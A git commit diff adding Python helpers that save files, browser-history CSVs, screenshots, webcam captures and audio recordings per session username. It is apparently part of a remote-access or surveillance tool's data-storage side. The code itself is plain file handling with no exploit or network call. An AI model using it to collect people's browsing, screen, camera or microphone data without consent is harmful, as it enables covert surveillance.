diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /domestic/make |
Diffstat (limited to 'domestic/make')
-rw-r--r-- | domestic/make/make_directories.py | 14 | ||||
-rw-r--r-- | domestic/make/make_file.py | 18 | ||||
-rw-r--r-- | domestic/make/make_history.py | 24 | ||||
-rw-r--r-- | domestic/make/make_image.py | 24 | ||||
-rw-r--r-- | domestic/make/make_wave.py | 19 |
5 files changed, 99 insertions, 0 deletions
diff --git a/domestic/make/make_directories.py b/domestic/make/make_directories.py new file mode 100644 index 0000000..b6235b4 --- /dev/null +++ b/domestic/make/make_directories.py @@ -0,0 +1,14 @@ +import os + +from domestic.global_state import * + + +def make_directories(directories): + root = state['root'] + + if not os.path.isdir(root): + os.mkdir(root) + + for directory in directories: + if not os.path.isdir(f'{root}/{directory}'): + os.mkdir(f'{root}/{directory}')
\ No newline at end of file diff --git a/domestic/make/make_file.py b/domestic/make/make_file.py new file mode 100644 index 0000000..0fb7f6e --- /dev/null +++ b/domestic/make/make_file.py @@ -0,0 +1,18 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_file(directories, file_type, data, success_message=None): + filename = get_filename(file_type) + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + with open(path, 'wb') as f: + f.write(data) + + if success_message: + status_message(f'Path: {path}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_history.py b/domestic/make/make_history.py new file mode 100644 index 0000000..992269f --- /dev/null +++ b/domestic/make/make_history.py @@ -0,0 +1,24 @@ +import csv + +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_history(directories, file_type, browserhistory, success_message=None): + filename = get_filename(file_type) + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + for browser, history in browserhistory.items(): + with open(f'{path}/{browser}_{filename}', 'w', encoding='utf-8', newline='') as csvfile: + csv_writer = csv.writer(csvfile, delimiter=',', quoting=csv.QUOTE_ALL) + + for data in history: + csv_writer.writerow(data) + + if success_message: + status_message(f'Path: {path}/[browser]_{filename}\n{success_message}', 'success')
\ No newline at end of file diff --git a/domestic/make/make_image.py b/domestic/make/make_image.py new file mode 100644 index 0000000..2697633 --- /dev/null +++ b/domestic/make/make_image.py @@ -0,0 +1,24 @@ +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_image(directories, data, show_image=True, success_message=None, image_type=None): + filename = get_filename('png') + username = state['session']['username'] + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): + data.save(path) + + if show_image: + data.show() + + if success_message: + if image_type is None or (image_type and state['options']['information-gathering']['save']['screenshot']) or (not image_type and state['options']['information-gathering']['save']['cam-screenshot']): + status_message(f'Path: {path}\n{success_message}', 'success') + else: + status_message(success_message, 'success')
\ No newline at end of file diff --git a/domestic/make/make_wave.py b/domestic/make/make_wave.py new file mode 100644 index 0000000..02dcb6e --- /dev/null +++ b/domestic/make/make_wave.py @@ -0,0 +1,19 @@ +import wave + +from domestic.make.make_directories import * +from domestic.utility.get_filename import * +from domestic.global_state import * + + +def make_wave(directories, username, wave_data): + filename = get_filename('wav') + path = f'{state["root"]}/{username}/{directories[-1]}/{filename}' + directories_to_make = [username] + [f'{username}/{directory}' for directory in directories] + make_directories(directories_to_make) + + waveFile = wave.open(path, 'wb') + waveFile.setnchannels(wave_data[0]) + waveFile.setsampwidth(wave_data[1].get_sample_size(wave_data[2])) + waveFile.setframerate(wave_data[3]) + waveFile.writeframes(b''.join(wave_data[4])) + waveFile.close()
\ No newline at end of file |